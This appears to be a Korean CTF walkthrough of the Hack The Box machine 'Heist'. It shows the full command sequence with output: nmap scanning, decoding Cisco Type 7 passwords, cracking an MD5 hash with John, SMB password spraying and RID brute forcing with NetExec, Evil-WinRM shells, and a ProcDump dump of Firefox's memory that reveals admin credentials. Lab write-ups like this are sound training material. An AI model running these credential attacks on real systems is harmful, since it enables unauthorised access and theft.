00. Summary
웹 애플리케이션의 접근 통제 취약점을 통해 유출된 Cisco 설정 파일에서 자격 증명을 획득하고, 이를 재사용(Password Spraying)하여 Windows 시스템(Chase 계정)에 초기 침투했습니다. 이후 실행 중인 Firefox 프로세스의 메모리를 덤프(ProcDump) 및 분석하여 평문으로 노출된 관리자 비밀번호를 추출, 최종적으로 시스템 관리자(Administrator) 권한을 획득했습니다.
- 초기 침투: 웹 게스트 접근을 통해 유출된 Cisco 설정 파일 확보 및 비밀번호 복호화.
- 거점 마련: 복호화된 비밀번호를 이용한 패스워드 스프레이 공격으로 'Chase' 계정 탈취 및 WinRM 접속.
- 권한 상승: Firefox 프로세스 메모리 덤프 분석을 통해 URL에 평문으로 노출된 관리자 자격 증명 확보 및 시스템 장악.
01. 초기 정찰
└─$ ports=$(sudo nmap -p- -sS -n --open -Pn --min-rate=1500 -T4 10.129.96.157 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
먼저 모든 TCP 포트에 대한 스캔을 진행했습니다. -p-옵션으로 전체 포트 범위를 검사하고, -sS로 SYN스캔을 수행했으며, --min-rate=1500으로 초당 최소 1500개의 패킷을 전송하여 스캔 속도를 높였습니다.
└─$ nmap -p$ports -Pn -sV -sC 10.129.96.157 -oA tcpDeatiled
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-08 03:08 -0500
Nmap scan report for 10.129.96.157
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-01-08T08:11:53
|_ start_date: N/A
|_clock-skew: 2m40s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.76 seconds
다음으로 발견된 포트들에 대해 상세 스캔을 진행했습니다. -sV 옵션으로 서비스 버전을 확인하고, -sC로 기본 NSE 스크립트를 실행했습니다. 스캔 결과 다음과 같은 서비스들이 실행 중임을 확인했습니다.
- 포트 80: Microsoft IIS 10.0 웹 서버가 실행되고 있으며, TRACE 메소드가 활성화되어 있어 XSS 공격에 악용될 가능성 존재
- 포트 135, 445 ,49669: Windows RPC 및 SMB 서비스가 실행되고 있습니다. SMB2 프로토콜이 활성화되어 있으며, 메시지 서명은 활성화되어 있지만 필수는 아닌 상태
- 포트 5985: WinRM(Windows Remote Management) 서비스가 실행되고 있어, 유효한 자격 증명을 획득하면 원격 쉘 접속이 가능함을 의미
WEB(TCP/80)
1단계: Cisco 설정 파일
웹 접근을 위해 /etc/hosts 파일에 추가 후 접근했습니다.
└─$ echo '10.129.96.157 heist.htb' | sudo tee -a /etc/hosts
10.129.96.157 heist.htb
웹 서버에 대한 디렉토리 브루트포싱부터 진행했습니다. 발견된 디렉토리들 중 흥미로운 부분은 없었습니다.
```
└─$ gobuster dir -u http://heist.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://heist.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 147] [--> http://heist.htb/images/]
/Images (Status: 301) [Size: 147] [--> http://heist.htb/Images/]
/css (Status: 301) [Size: 144] [--> http://heist.htb/css/]
/js (Status: 301) [Size: 143] [--> http://heist.htb/js/]
/attachments (Status: 301) [Size: 152] [--> http://heist.htb/attachments/]
/IMAGES (Status: 301) [Size: 147] [--> http://heist.htb/IMAGES/]
```

다음으로 웹 애플리케이션에 접근 시 Support Login Page가 나타났고, 게스트 로그인 기능이 제공되고 있었습니다. Login as guest 버튼 클릭시 게스트로 로그인이 가능했습니다.

게스트 계정으로 로그인 후, Attachment 버튼을 클릭하면 아래와 같이 Cisco IOS 라우터 설정 파일을 발견할 수 있습니다.

설정 파일에서 세 개의 암호화된 비밀번호를 발견했습니다. 첫 번째는 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91로, Type 5 암호화 방식인 MD5 해시를 사용하고 있습니다. 두 번째와 세 번째는 사용자 계정의 비밀번호로, username rout3r password 7 0242114B0E143F015F5D1E161713과 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408이었습니다. 이들은 Type 7 암호화 방식을 사용하고 있었습니다.
Cisco의 Type 7 암호화는 실제로 매우 약한 인코딩 방식입니다. Vigenère 암호의 변형을 사용하며, 쉽게 복호화할 수 있도록 설계되었습니다. 온라인 도구를 사용하여 Type 7 비밀번호들을 복호화했습니다.

복호화 결과는 다음과 같았습니다:
- admin 계정:
Q4)sJu\Y8qz*A3?d - rout3r 계정:
$uperP@ssword
Type 5 해시(MD5)는 John the Ripper를 사용하여 크랙을 시도했습니다. rockyou.txt 워드리스트를 사용한 결과, 비밀번호가 stealth1agent임을 발견했습니다.
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:00:08 DONE (2026-01-08 03:55) 0.1123g/s 393880p/s 393880c/s 393880C/s stealthy001..ste88dup
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
2단계: 자격 증명 검증 및 사용자 열거(RID Bruteforcing)
이제 세 개의 비밀번호를 획득했지만, 이들이 어떤 계정과 연결되어있는지는 확실하지 않았습니다.

└─$ nxc smb 10.129.96.157 -u user.txt -p pass.txt --continue-on-success
발견한 사용자명은 user.txt에, 비밀번호는 pass.txt에 저장한 뒤 NetExec을 사용하여 SMB 프로토콜을 활용해 브루트포싱을 진행했습니다.
결과적으로, hazard:stealth1agent계정 정보가 유효한 것을 확인했습니다.
└─$ nxc winrm 10.129.96.157 -u hazard -p stealth1agent
WINRM 10.129.96.157 5985 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.96.157 5985 SUPPORTDESK [-] SupportDesk\hazard:stealth1agent
WinRM으로 접속을 시도했을 때, hazard 계정으로는 원격 접속이 허용되지 않았습니다. 이는 해당 계정이 Remote Management Users 그룹에 속하지 않음을 의미합니다.
다음 단계로 SMB를 통해 접속이 가능한 유효한 계정이 있으므로, RID 브루트포싱을 수행했습니다. RID(Relative Identifier)는 Windows에서 각 계정에 할당되는 고유 번호인데, 일정한 순서로 증가하기 때문에 열거가 가능합니다.

└─$ nxc smb 10.129.96.157 -u hazard -p stealth1agent --rid-brute
SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.129.96.157 445 SUPPORTDESK 500: SUPPORTDESK\Administrator (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 501: SUPPORTDESK\Guest (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 513: SUPPORTDESK\None (SidTypeGroup)
SMB 10.129.96.157 445 SUPPORTDESK 1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1009: SUPPORTDESK\support (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1012: SUPPORTDESK\Chase (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1013: SUPPORTDESK\Jason (SidTypeUser)
이를 통해 시스템에 존재하는 다음 사용자들을 발견할 수 있었습니다.
- Administrator (RID 500)
- Guest (RID 501)
- DefaultAccount (RID 503)
- WDAGUtilityAccount (RID 504)
- Hazard (RID 1008)
- support (RID 1009)
- Chase (RID 1012)
- Jason (RID 1013)
3단계: Password Spraying

└─$ nxc smb 10.129.96.157 -u user.txt -p pass.txt --continue-on-success
SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Administrator:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Guest:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\DefaultAccount:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\WDAGUtilityAccount:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Jason:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Administrator:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Guest:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\DefaultAccount:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\WDAGUtilityAccount:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Hazard:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\support:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Jason:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Administrator:stealth1agent STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Guest:stealth1agent STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\DefaultAccount:stealth1agent STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\WDAGUtilityAccount:stealth1agent STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agent
이전과 동일하게 사용자 목록(user.txt)에 발견한 사용자명을 추가한 뒤, 패스워드 스프레이 공격을 진행했습니다. 이는 하나의 비밀번호를 여러 게정에 시도하는 방식으로, 계정 잠금 정책을 우회하면서 유효한 자격 증명 획득이 가능합니다.
NetExec를 사용하여 모든 사용자와 비밀번호 조합을 테스트한 결과, Chase 계정이 Q4)sJu\Y8qz*A3?d 비밀번호를 사용하고 있음을 발견했습니다. 이 비밀번호는 이전에 Cisco 설정 파일 내 admin 계정의 비밀번호로 작성되어 있었습니다.
4단계: 초기 침투 - WinRM 쉘 획득
유효한 자격 증명을 획득했으므로, Evil-WinRM을 사용하여 시스템에 접속했습니다. Evil-WinRM은 WinRM 프로토콜을 사용하여 Windows 시스템에 대화형 PowerShell 세션을 제공하는 도구입니다.

└─$ evil-winrm -i 10.129.96.157 -u Chase -p 'Q4)sJu\Y8qz*A3?d'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> whoami
supportdesk\chase
Chase 계정으로 접속에 성공했고, 현재 계정의 Desktop 디렉터리에서 todo.txt 파일을 발견했습니다. 이 파일의 내용은 다음과 같습니다.
*Evil-WinRM* PS C:\Users\Chase\Desktop> cat todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
이는 관리자가 라우터 설정을 수정해야 한다는 것을 알고 있으며, 게스트 사용자의 접근을 제한했다고 나와있습니다. 하지만 이전에 발견한 것처럼, 설정 파일에 여전히 접근이 가능했습니다.
02. 권한 상승(Privilege Escalation)
*Evil-WinRM* PS C:\Users\Chase\Documents> upload winPEASx64.exe
*Evil-WinRM* PS C:\Users\Chase\Documents> ./winPEASx64.exe

시스템 권한 상승 가능성을 찾기 위해 WinPEAS(Windows Privilege Escalation Awesome Scripts)를 업로드하고 실행했습니다. WinPEAS는 Windows 시스템에서 권한 상승에 사용될 수 있는 다양한 취약점과 잘못된 설정을 자동으로 검사하는 도구입니다.
WinPEAS의 출력에서 여러 흥미로운 정보를 발견했는데, 특히 주목할 만한 것은 Firefox 프로세스가 실행되고 있다는 점이었습니다. Firefox는 로그인 자격 증명을 메모리에 저장하며, 프로세스 덤프를 통해 이러한 정보를 추출할 수 있습니다.
프로세스 메모리 덤프 
시스템에서 실행 중인 프로세스를 확인하던 중, 이전에 발견한 Firefox 프로세스가 실행 중임을 확인했습니다. Firefox와 같은 웹 브라우저는 사용자의 로그인 세션을 유지하기 위해 자격 증명을 메모리에 저장합니다. 또한 브라우저가 예기치 않게 종료되었을 때 세션을 복구하기 위해 URL 파라미터, 폼 데이터, 쿠키 등을 메모리에 보관합니다.
이러한 정보는 프로세스 메모리 덤프를 통해 추출할 수 있습니다. 프로세스 메모리 덤프를 수행하기 위해 Sysinternals Suite의 ProcDump 도구를 사용했습니다. ProcDump는 Microsoft에서 제공하는 공식 도구로, 실행 중인 프로세스의 메모리 스냅샷을 파일로 저장할 수 있습니다.

.\procdump64.exe -accepteula -ma 6328
여기서 -accepteula 옵션은 사용권 계약에 자동으로 동의하는 것이고, -ma 옵션은 전체 메모리 덤프를 생성하라는 의미입니다. 6328은 덤프하려는 Firefox 프로세스의 PID입니다.

덤프 파일의 이름은 firefox.exe_260108_204042.dmp로, 프로세스 이름과 타임스탬프가 포함되어 있었습니다. 이렇게 큰 파일 크기는 Firefox가 많은 탭과 확장 프로그램을 실행하고 있었음을 시사합니다.
생성된 덤프 파일을 분석하기 위해 텍스트 편집기나 문자열 검색 도구를 사용할 수 있습니다. 메모리 덤프 파일은 바이너리 형식이지만, 평문으로 저장된 문자열들을 포함하고 있어 strings 명령어나 텍스트 검색으로 유의미한 정보를 찾을 수 있습니다.

이 문자열은 Firefox의 크래시 복구 메커니즘의 일부입니다. Firefox가 예기치 않게 종료되었을 때, 사용자가 마지막으로 보던 페이지들을 복원하기 위해 URL 정보를 환경 변수나 메모리에 저장합니다. 그런데 이 경우, 복구하려던 페이지가 로그인 페이지였고, 더 심각한 것은 URL에 로그인 자격 증명이 그대로 포함되어 있었다는 점입니다.
localhost/login.php?login_username=[admin@support.htb](mailto:admin@support.htb)&login_password=4dD!5}x/re8]FBuZ&login=
URL을 자세히 분석해보면 다음과 같은 정보를 얻을 수 있습니다. 로그인 폼이 localhost/login.php에 위치하고 있으며, GET 메소드를 사용하여 데이터를 전송하고 있습니다. 사용자 이름은 admin@support.htb이고, 비밀번호는 4dD!5}x/re8]FBuZ입니다.


웹 인터페이스가 실제로 정확한 값인지를 로그인 기능을 통해 확인했습니다. 로그인 결과, admin@support.htb계정으로 로그인이 성공했습니다. Issues 내에서 Windows 서버의 계정 생성을 요청하고 있습니다. 만약 비밀번호가 동일하게 서버 내에서 사용되고 있다면 Administrator 계정으로 로그인이 가능할 것입니다.
Evil-WinRM을 사용하여 Administrator 계정으로 이전에 발견한 비밀번호와 함께 로그인을 시도했습니다.
└─$ evil-winrm -i 10.129.96.157 -u Administrator -p '4dD!5}x/re8]FBuZ'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
supportdesk\administrator

연결이 성공적으로 이루어졌고, Powershell 프롬프트가 나왔습니다. whoami 명령어로 현재 사용자를 확인한 결과 supportdesk\administrator로 표시되어, 도메인 관리자 권한을 획득했음을 확인했습니다.
Comments
Sign in with GitHub to leave a comment.